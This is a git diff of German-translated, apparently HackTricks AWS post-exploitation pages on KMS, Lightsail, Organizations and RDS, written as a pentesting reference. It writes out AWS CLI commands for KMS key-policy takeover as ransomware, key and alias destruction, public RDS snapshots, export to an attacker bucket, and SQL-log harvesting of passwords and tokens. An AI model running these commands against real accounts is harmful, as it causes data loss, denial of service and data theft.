-aws kms cancel-key-deletion \
---key-id <Key_ID>
-
-## Second enable the key
-aws kms enable-key \
---key-id <Key_ID>
-```
-### Disable Key
-Mit der Berechtigung `kms:DisableKey` kann ein Akteur einen AWS KMS customer master key deaktivieren und dessen Verwendung für Verschlüsselung oder Entschlüsselung verhindern. Das unterbricht den Zugriff für alle Dienste, die von diesem CMK abhängen, und kann sofortige Störungen verursachen oder zu einem denial-of-service führen, bis der Schlüssel wieder aktiviert wird.
-```bash
-aws kms disable-key \
---key-id <key_id>
-```
-### Derive Shared Secret
-Mit der Berechtigung `kms:DeriveSharedSecret` kann ein Akteur einen in KMS gehaltenen privaten Schlüssel zusammen mit einem vom Benutzer bereitgestellten öffentlichen Schlüssel verwenden, um ein gemeinsames Geheimnis per ECDH zu berechnen.
-```bash
-aws kms derive-shared-secret \
---key-id <key_id> \
---public-key fileb:///<route_to_public_key> \
---key-agreement-algorithm <algorithm>
-```
-### Impersonation via kms:Sign
-Mit der Berechtigung `kms:Sign` kann ein Akteur einen in KMS gespeicherten CMK verwenden, um Daten kryptografisch zu signieren, ohne den privaten Schlüssel offenzulegen. Dabei entstehen gültige Signaturen, die impersonation ermöglichen oder bösartige Aktionen autorisieren können.
-```bash
-aws kms sign \
---key-id <key-id> \
---message fileb://<ruta-al-archivo> \
---signing-algorithm <algoritmo> \
---message-type RAW
-```
-### DoS with Custom Key Stores
-Mit Berechtigungen wie `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` oder `kms:UpdateCustomKeyStore` kann ein Akteur einen AWS KMS Custom Key Store (CKS) ändern, trennen oder löschen und dadurch dessen Master-Schlüssel unbrauchbar machen. Das bricht Verschlüsselungs-, Entschlüsselungs- und Signiervorgänge für alle Dienste, die auf diesen Schlüsseln basieren, und kann eine sofortige denial-of-service verursachen. Daher ist es entscheidend, diese Berechtigungen einzuschränken und zu überwachen.
-```bash
-aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
-
-aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
-
-aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
-```
-<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md
new file mode 100644
index 000000000..2c1c4639f
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md
@@ -0,0 +1,182 @@
+# AWS - KMS Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## KMS
+
+Für weitere Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-kms-enum.md
+{{#endref}}
+
+### Verschlüsseln/Entschlüsseln von Informationen
+
+`fileb://` und `file://` sind URI-Schemata, die in AWS CLI-Befehlen verwendet werden, um den Pfad zu lokalen Dateien anzugeben:
+
+- `fileb://:` liest die Datei im Binärmodus und wird üblicherweise für Nicht-Textdateien verwendet.
+- `file://:` liest die Datei im Textmodus und wird typischerweise für einfache Textdateien, Skripte oder JSON verwendet, die keine speziellen Kodierungsanforderungen haben.
+
+> [!TIP]
+> Beachte, dass wenn du Daten innerhalb einer Datei entschlüsseln möchtest, die Datei die Binärdaten enthalten muss, nicht base64-kodierte Daten. (fileb://)
+
+- Verwendung eines **symmetrischen** Schlüssels
+```bash
+# Encrypt data
+aws kms encrypt \
+--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
+--plaintext fileb:///tmp/hello.txt \
+--output text \
+--query CiphertextBlob | base64 \
+--decode > ExampleEncryptedFile
+
+# Decrypt data
+aws kms decrypt \
+--ciphertext-blob fileb://ExampleEncryptedFile \
+--key-id f0d3d719-b054-49ec-b515-4095b4777049 \
+--output text \
+--query Plaintext | base64 \
+--decode
+```
+- Verwendung eines **asymmetrischen** Schlüssels:
+```bash
+# Encrypt data
+aws kms encrypt \
+--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
+--encryption-algorithm RSAES_OAEP_SHA_256 \
+--plaintext fileb:///tmp/hello.txt \
+--output text \
+--query CiphertextBlob | base64 \
+--decode > ExampleEncryptedFile
+
+# Decrypt data
+aws kms decrypt \
+--ciphertext-blob fileb://ExampleEncryptedFile \
+--encryption-algorithm RSAES_OAEP_SHA_256 \
+--key-id d6fecf9d-7aeb-4cd4-bdd3-9044f3f6035a \
+--output text \
+--query Plaintext | base64 \
+--decode
+```
+### KMS Ransomware
+
+Ein Angreifer mit privilegiertem Zugriff auf KMS könnte die KMS policy von Schlüsseln ändern und **seinem Account Zugriff darauf gewähren**, wodurch der Zugriff für den rechtmäßigen Account entfernt wird.
+
+Dann können die Benutzer des rechtmäßigen Accounts nicht mehr auf Informationen eines beliebigen Dienstes zugreifen, die mit diesen Schlüsseln verschlüsselt wurden, wodurch ein einfaches, aber effektives ransomware gegen den Account entsteht.
+
+> [!WARNING]
+> Beachte, dass **AWS managed keys nicht betroffen sind** von diesem Angriff; betroffen sind nur **Customer managed keys**.
+
+> Beachte außerdem, dass der Parameter **`--bypass-policy-lockout-safety-check`** verwendet werden muss (das Fehlen dieser Option in der Webkonsole macht diesen Angriff nur über die CLI möglich).
+```bash
+# Force policy change
+aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \
+--policy-name default \
+--policy file:///tmp/policy.yaml \
+--bypass-policy-lockout-safety-check
+
+{
+"Id": "key-consolepolicy-3",
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "Enable IAM User Permissions",
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::<your_own_account>:root"
+},
+"Action": "kms:*",
+"Resource": "*"
+}
+]
+}
+```
+> [!CAUTION]
+> Beachte, dass wenn du diese Policy änderst und nur einem externen Account Zugriff gewährst, und dann von diesem externen Account versuchst, eine neue Policy zu setzen, um **den Zugriff wieder dem ursprünglichen Account zu gewähren, wirst du das nicht können, da die Put Polocy-Aktion nicht von einem Cross-Account ausgeführt werden kann**.
+
+<figure><img src="../../../images/image (77).png" alt=""><figcaption></figcaption></figure>
+
+### Generische KMS Ransomware
+
+Es gibt eine weitere Möglichkeit, eine globale KMS Ransomware durchzuführen, die die folgenden Schritte umfasst:
+
+- Erstelle einen neuen **Schlüssel mit Schlüsselmaterial**, das vom Angreifer importiert wurde
+- **Ältere Daten erneut mit der neuen Version verschlüsseln**, die zuvor mit der vorherigen Version verschlüsselt wurden
+- **KMS-Schlüssel löschen**
+- Nun könnte nur noch der Angreifer, der das ursprüngliche Schlüsselmaterial besitzt, in der Lage sein, die verschlüsselten Daten zu entschlüsseln
+
+### Delete Keys via kms:DeleteImportedKeyMaterial
+
+Mit der Berechtigung `kms:DeleteImportedKeyMaterial` kann ein Akteur das importierte Schlüsselmaterial von CMKs mit `Origin=EXTERNAL` (CMKs, die ihr Schlüsselmaterial importiert haben) löschen, wodurch diese nicht mehr in der Lage sind, Daten zu entschlüsseln. Diese Aktion ist destruktiv und irreversibel, es sei denn, kompatibles Material wird erneut importiert, wodurch ein Angreifer effektiv einen ransomware-ähnlichen Datenverlust verursachen kann, indem verschlüsselte Informationen dauerhaft unzugänglich gemacht werden.
+```bash
+aws kms delete-imported-key-material --key-id <Key_ID>
+```
+### Schlüssel zerstören
+
+Das Zerstören von Schlüsseln kann zu einem DoS führen.
+```bash
+# Schedule the destoy of a key (min wait time is 7 days)
+aws kms schedule-key-deletion \
+--key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \
+--pending-window-in-days 7
+```
+> [!CAUTION]
+> Beachte, dass AWS jetzt **verhindert, dass die vorherigen Aktionen aus einem Cross-Account ausgeführt werden:**
+
+### Alias ändern oder löschen
+Dieser Angriff löscht oder leitet AWS KMS Aliase um, wodurch die Schlüsselauflösung unterbrochen wird und sofortige Fehler in allen Diensten auftreten, die auf diese Aliase angewiesen sind — was zu einem denial-of-service führt. Mit Berechtigungen wie `kms:DeleteAlias` oder `kms:UpdateAlias` kann ein Angreifer Aliase entfernen oder umleiten und kryptografische Operationen stören (z. B. encrypt, describe). Jeder Dienst, der das Alias anstatt der key ID referenziert, kann ausfallen, bis das Alias wiederhergestellt oder korrekt neu zugeordnet ist.
+```bash
+# Delete Alias
+aws kms delete-alias --alias-name alias/<key_alias>
+
+# Update Alias
+aws kms update-alias \
+--alias-name alias/<key_alias> \
+--target-key-id <new_target_key>
+```
+### Abbrechen der Schlüssel-Löschung
+Mit Berechtigungen wie `kms:CancelKeyDeletion` und `kms:EnableKey` kann ein Angreifer die geplante Löschung eines AWS KMS customer master key abbrechen und später wieder aktivieren. Dadurch wird der Schlüssel wiederhergestellt (zunächst im Disabled state) und seine Fähigkeit, zuvor geschützte Daten zu entschlüsseln, wiederhergestellt, wodurch Datenexfiltration möglich wird.
+```bash
+# Firts cancel de deletion
+aws kms cancel-key-deletion \
+--key-id <Key_ID>
+
+## Second enable the key
+aws kms enable-key \
+--key-id <Key_ID>
+```
+### Schlüssel deaktivieren
+Mit der Berechtigung `kms:DisableKey` kann ein Akteur einen AWS KMS Customer Master Key (CMK) deaktivieren, wodurch dessen Verwendung für Verschlüsselung oder Entschlüsselung verhindert wird. Das unterbricht den Zugriff für alle Dienste, die von diesem CMK abhängen, und kann sofortige Störungen oder einen denial-of-service verursachen, bis der Schlüssel wieder aktiviert wird.
+```bash
+aws kms disable-key \
+--key-id <key_id>
+```
+### Derive Shared Secret
+Mit der `kms:DeriveSharedSecret`-Berechtigung kann ein Akteur einen in KMS gespeicherten private key sowie einen vom Benutzer bereitgestellten public key verwenden, um ein ECDH shared secret zu berechnen.
+```bash
+aws kms derive-shared-secret \
+--key-id <key_id> \
+--public-key fileb:///<route_to_public_key> \
+--key-agreement-algorithm <algorithm>
+```
+### Impersonation via kms:Sign
+Mit der Berechtigung `kms:Sign` kann ein Akteur einen KMS-stored CMK verwenden, um Daten kryptografisch zu signieren, ohne den private key preiszugeben, und gültige Signaturen zu erzeugen, die impersonation ermöglichen oder bösartige Aktionen autorisieren.
+```bash
+aws kms sign \
+--key-id <key-id> \
+--message fileb://<ruta-al-archivo> \
+--signing-algorithm <algoritmo> \
+--message-type RAW
+```
+### DoS mit Custom Key Stores
+Mit Berechtigungen wie `kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore` oder `kms:UpdateCustomKeyStore` kann ein Akteur einen AWS KMS Custom Key Store (CKS) ändern, trennen oder löschen, wodurch dessen Master-Keys nicht mehr funktionsfähig werden. Das bricht Verschlüsselungs-, Entschlüsselungs- und Signaturvorgänge für alle Dienste, die auf diesen Keys angewiesen sind, und kann zu einem sofortigen denial-of-service führen. Daher ist es entscheidend, diese Berechtigungen zu beschränken und zu überwachen.
+```bash
+aws kms delete-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
+
+aws kms disconnect-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID>
+
+aws kms update-custom-key-store --custom-key-store-id <CUSTOM_KEY_STORE_ID> --new-custom-key-store-name <NEW_NAME> --key-store-password <NEW_PASSWORD>
+```
+<figure><img src="../../../images/image (76).png" alt=""><figcaption></figcaption></figure>
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
deleted file mode 100644
index 44bc95af2..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation.md
+++ /dev/null
@@ -1,30 +0,0 @@
-# AWS - Lightsail Post Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Lightsail
-
-Für weitere Informationen, siehe:
-
-{{#ref}}
-../aws-services/aws-lightsail-enum.md
-{{#endref}}
-
-### Alte DB-Snapshots wiederherstellen
-
-Wenn die DB Snapshots hat, könnten Sie **sensible Informationen finden, die derzeit in alten Snapshots gelöscht sind**. **Stellen** Sie den Snapshot in einer **neuen Datenbank** wieder her und überprüfen Sie ihn.
-
-### Instanz-Snapshots wiederherstellen
-
-Instanz-Snapshots könnten **sensible Informationen** von bereits gelöschten Instanzen oder sensible Informationen, die in der aktuellen Instanz gelöscht wurden, enthalten. **Erstellen Sie neue Instanzen aus den Snapshots** und überprüfen Sie diese.\
-Oder **exportieren Sie den Snapshot zu einem AMI in EC2** und folgen Sie den Schritten einer typischen EC2-Instanz.
-
-### Zugriff auf sensible Informationen
-
-Überprüfen Sie die Lightsail privesc-Optionen, um verschiedene Möglichkeiten zu lernen, wie Sie auf potenziell sensible Informationen zugreifen können:
-
-{{#ref}}
-../aws-privilege-escalation/aws-lightsail-privesc.md
-{{#endref}}
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md
new file mode 100644
index 000000000..084d40dde
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md
@@ -0,0 +1,30 @@
+# AWS - Lightsail Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Lightsail
+
+Für weitere Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-lightsail-enum.md
+{{#endref}}
+
+### Alte DB-Snapshots wiederherstellen
+
+Wenn die DB Snapshots hat, könntest du **sensible Informationen finden, die derzeit in alten Snapshots gelöscht sind**. **Stelle** den Snapshot in einer **neuen Datenbank** wieder her und überprüfe ihn.
+
+### Instanz-Snapshots wiederherstellen
+
+Instanz-Snapshots können **sensible Informationen** bereits gelöschter Instanzen oder sensible Daten enthalten, die in der aktuellen Instanz gelöscht wurden. **Erstelle neue Instanzen aus den Snapshots** und überprüfe sie.\
+Oder **exportiere den Snapshot als AMI in EC2** und folge den Schritten einer typischen EC2-Instanz.
+
+### Zugriff auf sensible Informationen
+
+Sieh dir die Lightsail privesc-Optionen an, um verschiedene Möglichkeiten zu erfahren, wie du auf potenziell sensible Informationen zugreifen kannst:
+
+{{#ref}}
+../../aws-privilege-escalation/aws-lightsail-privesc/README.md
+{{#endref}}
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md
deleted file mode 100644
index fd351bd63..000000000
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation.md
+++ /dev/null
@@ -1,17 +0,0 @@
-# AWS - Organisationen Post-Exploitation
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Organisationen
-
-Für weitere Informationen zu AWS Organizations siehe:
-
-{{#ref}}
-../aws-services/aws-organizations-enum.md
-{{#endref}}
-
-### Verlasse die Org
-```bash
-aws organizations deregister-account --account-id <account_id> --region <region>
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md
new file mode 100644
index 000000000..509fb9d5d
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-organizations-post-exploitation/README.md
@@ -0,0 +1,17 @@
+# AWS - Organizations Post Exploitation
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Organizations
+
+Für mehr Informationen zu AWS Organizations siehe:
+
+{{#ref}}
+../../aws-services/aws-organizations-enum.md
+{{#endref}}
+
+### Die Org verlassen
+```bash
+aws organizations deregister-account --account-id <account_id> --region <region>
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md
similarity index 71%
rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md
index ddd24eeab..868ada3ae 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-rds-post-exploitation/README.md
@@ -1,18 +1,18 @@
 # AWS - RDS Post Exploitation
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## RDS
 
 Für weitere Informationen siehe:
 
 {{#ref}}
-../aws-services/aws-relational-database-rds-enum.md
+../../aws-services/aws-relational-database-rds-enum.md
 {{#endref}}
 
 ### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
 
-Wenn ein Angreifer über ausreichende Berechtigungen verfügt, kann er eine **DB öffentlich zugänglich** machen, indem er einen Snapshot der DB erstellt und anschließend eine öffentlich zugängliche DB aus diesem Snapshot wiederherstellt.
+Wenn der attacker genügend Berechtigungen hat, kann er eine **DB öffentlich zugänglich machen**, indem er einen Snapshot der DB erstellt und daraus eine öffentlich zugängliche DB wiederherstellt.
 ```bash
 aws rds describe-db-instances # Get DB identifier
 
@@ -40,9 +40,9 @@ aws rds modify-db-instance \
 ```
 ### `rds:ModifyDBSnapshotAttribute`, `rds:CreateDBSnapshot`
 
-Ein Angreifer mit diesen Berechtigungen könnte **einen Snapshot einer DB erstellen** und ihn **öffentlich** **zugänglich** machen. Anschließend könnte er in seinem eigenen Konto einfach eine DB aus diesem Snapshot erstellen.
+Ein Angreifer mit diesen Berechtigungen könnte **einen Snapshot einer DB erstellen** und ihn **öffentlich** **verfügbar** machen. Anschließend könnte er einfach in seinem eigenen Account eine DB aus diesem Snapshot erstellen.
 
-Wenn der Angreifer **nicht die `rds:CreateDBSnapshot`** hat, könnte er dennoch **andere** erstellte Snapshots **öffentlich** machen.
+Wenn der Angreifer **nicht über `rds:CreateDBSnapshot`** verfügt, könnte er dennoch **andere** erstellte Snapshots **öffentlich** machen.
 ```bash
 # create snapshot
 aws rds create-db-snapshot --db-instance-identifier <db-instance-identifier> --db-snapshot-identifier <snapshot-name>
@@ -53,45 +53,45 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
 ```
 ### `rds:DownloadDBLogFilePortion`
 
-Ein Angreifer mit der Berechtigung `rds:DownloadDBLogFilePortion` kann **Portionen der log files einer RDS-Instance herunterladen**. Wenn sensible Daten oder Zugangsdaten versehentlich in den log files protokolliert werden, könnte der Angreifer diese Informationen nutzen, um seine Privilegien zu eskalieren oder unautorisierte Aktionen durchzuführen.
+Ein Angreifer mit der Berechtigung `rds:DownloadDBLogFilePortion` kann **Teile der Logdateien einer RDS-Instanz herunterladen**. Wenn sensible Daten oder Zugangsdaten versehentlich protokolliert werden, könnte der Angreifer diese Informationen potenziell nutzen, um seine Berechtigungen zu eskalieren oder unautorisierte Aktionen durchzuführen.
 ```bash
 aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
 ```
-**Mögliche Auswirkungen**: Zugriff auf sensible Informationen oder unautorisierte Aktionen mithilfe von leaked credentials.
+**Potenzielle Auswirkungen**: Zugriff auf sensible Informationen oder unautorisierte Aktionen mithilfe von leaked credentials.
 
 ### `rds:DeleteDBInstance`
 
-Ein Angreifer mit diesen Berechtigungen kann **DoS existing RDS instances**.
+Ein Angreifer mit diesen Berechtigungen kann **DoS bestehender RDS-Instanzen**.
 ```bash
 # Delete
 aws rds delete-db-instance --db-instance-identifier target-instance --skip-final-snapshot
 ```
-**Potentielle Auswirkungen**: Löschung vorhandener RDS instances und möglicher Datenverlust.
+**Potentielle Auswirkung**: Löschen bestehender RDS-Instanzen und möglicher Datenverlust.
 
 ### `rds:StartExportTask`
 
 > [!NOTE]
-> TODO: Test
+> TODO: Testen
 
-Ein attacker mit dieser Berechtigung kann **export an RDS instance snapshot to an S3 bucket**. Wenn der attacker Kontrolle über das Ziel S3 bucket hat, sind sensible Daten im exportierten snapshot potenziell zugänglich.
+Ein Angreifer mit dieser Berechtigung kann **einen Snapshot einer RDS-Instanz in einen S3-Bucket exportieren**. Wenn der Angreifer Kontrolle über den Ziel-S3-Bucket hat, kann er möglicherweise auf sensible Daten im exportierten Snapshot zugreifen.
 ```bash
 aws rds start-export-task --export-task-identifier attacker-export-task --source-arn arn:aws:rds:region:account-id:snapshot:target-snapshot --s3-bucket-name attacker-bucket --iam-role-arn arn:aws:iam::account-id:role/export-role --kms-key-id arn:aws:kms:region:account-id:key/key-id
 ```
 **Potential impact**: Zugriff auf sensible Daten in dem exportierten Snapshot.
 
-### Cross-Region-Replikation automatisierter Backups für heimliche Wiederherstellung (`rds:StartDBInstanceAutomatedBackupsReplication`)
+### Replikation automatisierter Backups in eine andere Region für unauffälligen Restore (`rds:StartDBInstanceAutomatedBackupsReplication`)
 
-Missbrauche die Cross-Region-Replikation automatisierter Backups, um die automatisierten Backups einer RDS-Instanz stillschweigend in eine andere AWS-Region zu duplizieren und dort wiederherzustellen. Der Angreifer kann die wiederhergestellte DB dann öffentlich zugänglich machen und das Master-Passwort zurücksetzen, um außerhalb des normalen Pfades auf Daten in einer Region zuzugreifen, die Verteidiger möglicherweise nicht überwachen.
+Missbrauche die Replikation automatischer Backups über Regionen, um die automatischen Backups einer RDS-Instanz stillschweigend in eine andere AWS-Region zu duplizieren und dort wiederherzustellen. Der Angreifer kann dann die wiederhergestellte DB öffentlich zugänglich machen und das Master-Passwort zurücksetzen, um außerhalb des normalen Betriebs auf Daten in einer Region zuzugreifen, die Verteidiger möglicherweise nicht überwachen.
 
-Permissions needed (minimum):
+Benötigte Berechtigungen (mindestens):
 - `rds:StartDBInstanceAutomatedBackupsReplication` in der Ziel-Region
 - `rds:DescribeDBInstanceAutomatedBackups` in der Ziel-Region
 - `rds:RestoreDBInstanceToPointInTime` in der Ziel-Region
 - `rds:ModifyDBInstance` in der Ziel-Region
 - `rds:StopDBInstanceAutomatedBackupsReplication` (optionale Bereinigung)
-- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (um die wiederhergestellte DB öffentlich zugänglich zu machen)
+- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (um die wiederhergestellte DB zu öffnen)
 
-Impact: Persistenz und Datenexfiltration, indem eine Kopie von Produktionsdaten in einer anderen Region wiederhergestellt und diese mit vom Angreifer kontrollierten Zugangsdaten öffentlich zugänglich gemacht wird.
+Auswirkung: Persistenz und data exfiltration durch Wiederherstellung einer Kopie von Produktionsdaten in eine andere Region und öffentliche Freigabe mit von Angreifern kontrollierten Zugangsdaten.
 
 <details>
 <summary>End-to-end CLI (Platzhalter ersetzen)</summary>
@@ -165,24 +165,24 @@ aws rds stop-db-instance-automated-backups-replication \
 
 ### Vollständiges SQL-Logging über DB-Parametergruppen aktivieren und über RDS-Log-APIs exfiltrieren
 
-Missbrauche `rds:ModifyDBParameterGroup` zusammen mit RDS-Log-Download-APIs, um alle von Anwendungen ausgeführten SQL-Anweisungen zu erfassen (keine DB-Engine-Anmeldedaten erforderlich). Aktiviere das Engine-SQL-Logging und lade die Logdateien via `rds:DescribeDBLogFiles` und `rds:DownloadDBLogFilePortion` (oder die REST-API `downloadCompleteLogFile`) herunter. Nützlich, um Abfragen zu sammeln, die Geheimnisse/PII/JWTs enthalten können.
+Missbrauchen Sie `rds:ModifyDBParameterGroup` zusammen mit den RDS-Log-Download-APIs, um alle von Anwendungen ausgeführten SQL-Anweisungen zu erfassen (keine DB-Engine-Credentials erforderlich). Aktivieren Sie das SQL-Logging der Engine und laden Sie die Logdateien über `rds:DescribeDBLogFiles` und `rds:DownloadDBLogFilePortion` (oder die REST-Funktion `downloadCompleteLogFile`) herunter. Nützlich, um Queries zu sammeln, die Secrets/PII/JWTs enthalten könnten.
 
-Benötigte Berechtigungen (mindestens):
+Erforderliche Berechtigungen (mindestens):
 - `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion`
 - `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup`
-- `rds:ModifyDBInstance` (nur zum Anhängen einer benutzerdefinierten Parametergruppe, falls die Instanz die Standardgruppe verwendet)
-- `rds:RebootDBInstance` (für Parameter, die einen Reboot erfordern, z. B. PostgreSQL)
+- `rds:ModifyDBInstance` (nur, um eine benutzerdefinierte Parametergruppe anzuhängen, falls die Instanz die Standardgruppe verwendet)
+- `rds:RebootDBInstance` (für Parameter, die einen Reboot benötigen, z.B. PostgreSQL)
 
 Schritte
-1) Recon: Ziel und aktuelle Parametergruppe
+1) Recon des Ziels und der aktuellen Parametergruppe
 ```bash
 aws rds describe-db-instances \
 --query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \
 --output table
 ```
-2) Stelle sicher, dass eine benutzerdefinierte DB-Parametergruppe angehängt ist (die Standardgruppe kann nicht bearbeitet werden)
-- Wenn die Instanz bereits eine benutzerdefinierte Gruppe verwendet, verwende deren Namen im nächsten Schritt.
-- Andernfalls erstelle und hänge eine an, die zur Engine-Familie passt:
+2) Stelle sicher, dass eine benutzerdefinierte DB parameter group angehängt ist (das Default kann nicht bearbeitet werden)
+- Wenn die Instance bereits eine benutzerdefinierte Gruppe verwendet, verwende deren Namen im nächsten Schritt.
+- Andernfalls erstelle und hänge eine an, die zur engine family passt:
 ```bash
 # Example for PostgreSQL 16
 aws rds create-db-parameter-group \
@@ -196,7 +196,7 @@ aws rds modify-db-instance \
 --apply-immediately
 # Wait until status becomes "available"
 ```
-3) Detailliertes SQL-Logging aktivieren
+3) Ausführliches SQL-Logging aktivieren
 - MySQL-Engines (sofort / kein Neustart):
 ```bash
 aws rds modify-db-parameter-group \
@@ -220,11 +220,11 @@ aws rds modify-db-parameter-group \
 # Reboot if any parameter is pending-reboot
 aws rds reboot-db-instance --db-instance-identifier <DB>
 ```
-4) Die Workload laufen lassen (oder Abfragen generieren). SQL-Anweisungen werden in die Engine-Dateiprotokolle geschrieben
+4) Lass den Workload laufen (oder generiere Queries). Statements werden in die Engine-Datei-Logs geschrieben
 - MySQL: `general/mysql-general.log`
 - PostgreSQL: `postgresql.log`
 
-5) Logs entdecken und herunterladen (keine DB-Zugangsdaten erforderlich)
+5) Entdecke und lade die Logs herunter (keine DB creds erforderlich)
 ```bash
 aws rds describe-db-log-files --db-instance-identifier <DB>
 
@@ -235,18 +235,18 @@ aws rds download-db-log-file-portion \
 --starting-token 0 \
 --output text > dump.log
 ```
-6) Offline nach sensiblen Daten analysieren
+6) Offline auf sensible Daten analysieren
 ```bash
 grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | sed 's/\(aws_access_key_id=\)[A-Z0-9]*/\1AKIA.../; s/\(secret=\).*/\1REDACTED/; s/\(Bearer \).*/\1REDACTED/' | head
 ```
-Beweismaterial (geschwärzt):
+Beispielbelege (geschwärzt):
 ```text
 2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('user=alice password=Sup3rS3cret!')
 2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('authorization: Bearer REDACTED')
 2025-10-06T..Z    13 Query  INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED')
 ```
-Bereinigung
-- Setze Parameter auf Standardwerte zurück und starte neu, falls erforderlich:
+Aufräumen
+- Parameter auf Standardwerte zurücksetzen und bei Bedarf neu starten:
 ```bash
 # MySQL
 aws rds modify-db-parameter-group \
@@ -261,19 +261,19 @@ aws rds modify-db-parameter-group \
 "ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot"
 # Reboot if pending-reboot
 ```
-Auswirkung: Post-exploitation Datenzugriff durch Erfassen aller application SQL statements über AWS APIs (keine DB creds), möglicherweise leaking von secrets, JWTs und PII.
+Auswirkung: Post-exploitation-Datenzugriff durch Erfassen aller Anwendungs-SQL-Anweisungen über AWS APIs (no DB creds), potenziell leaking secrets, JWTs, and PII.
 
 ### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance`
 
-RDS read replicas missbrauchen, um out-of-band read access zu erhalten, ohne die primary instance credentials zu berühren. Ein Angreifer kann von einer Produktionsinstanz eine read replica erstellen, das Master-Passwort der Replica zurücksetzen (dies ändert die Primary nicht) und optional die Replica öffentlich zugänglich machen, um Daten zu exfiltrieren.
+RDS read replicas missbrauchen, um out-of-band Lesezugriff zu erhalten, ohne die Credentials der primary instance zu berühren. Ein Angreifer kann eine read replica von einer production instance erstellen, das replica's master password zurücksetzen (dies ändert das primary nicht) und die replica optional öffentlich exponieren, um Daten zu exfiltrieren.
 
-Erforderliche Berechtigungen (Minimum):
+Benötigte Berechtigungen (mindestens):
 - `rds:DescribeDBInstances`
 - `rds:CreateDBInstanceReadReplica`
 - `rds:ModifyDBInstance`
-- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly)
+- `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (falls öffentlich exponiert)
 
-Auswirkung: Read-only Zugriff auf Produktionsdaten über eine Replica mit vom Angreifer kontrollierten credentials; geringere Erkennungswahrscheinlichkeit, da die Primary unberührt bleibt und die Replikation fortläuft.
